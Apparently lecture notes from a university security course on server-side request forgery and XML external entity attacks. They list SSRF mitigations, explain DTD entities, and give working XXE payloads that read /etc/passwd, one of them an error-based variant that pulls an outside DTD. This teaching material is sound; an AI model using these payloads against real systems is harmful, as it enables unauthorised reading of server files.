Think back to HaaS

• Only access to kb from haas
• We could send network requests that appeared to originate from the haas server
• Corporate / internal network?

Main Idea

Utilise the outbound connection of a device to access/gain more information

• Information retrieval
• Information disclosure - i.e. cse login servers
• Can lead to RCE
• Server Side Includes

Make a server do something it’s not intended to

Mitigation

• URL parsing is hard
• Whitelist domains and IPs!
• Lower the access control of services
• Set limits! exec time, file sizes, recursion depth
• Local devices should NOT be assumed to be safe

• DTD - Document Type Definition
• Internal Entity: If an entity is declared within a DTD
  • Kinda like variables
• External Entity: If an entity is declared outside a DTD
  • i.e external resources, used as data feeds

e.g Internal Entity

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY % mystr "wowowo" >
]> 
<data>
  <item>&mystr;</item>
</data>

wowowo

e.g. External Entity

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY number SYSTEM "http://randomNumberGenerator.com">
]> 
<data>
  <item>&number;</item>
</data>

7

e.g. Parameterised Entities

<!DOCTYPE foo [
  <!ENTITY % string "woah" >
  <!ENTITY % result "Got me like: %string;" >
]>

Got me like: woah

Exploit: LFI / SSI

Exploit the external entity to perform LFI / SSI

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY passwdFile SYSTEM "file:///etc/passwd">
]> 
<data>
  <item>&passwdFile;</item>
</data>

root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin

Exploit: Error-Based XXE

<?xml version="1.0" ?>
<!DOCTYPE message [
    <!ENTITY % ext SYSTEM "http://some.server/ext.dtd">
    %ext;
]>
<message></message>

<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % A "<!ENTITY &#x25; B SYSTEM 'file:///lol/%file;'>">
%A;
%B;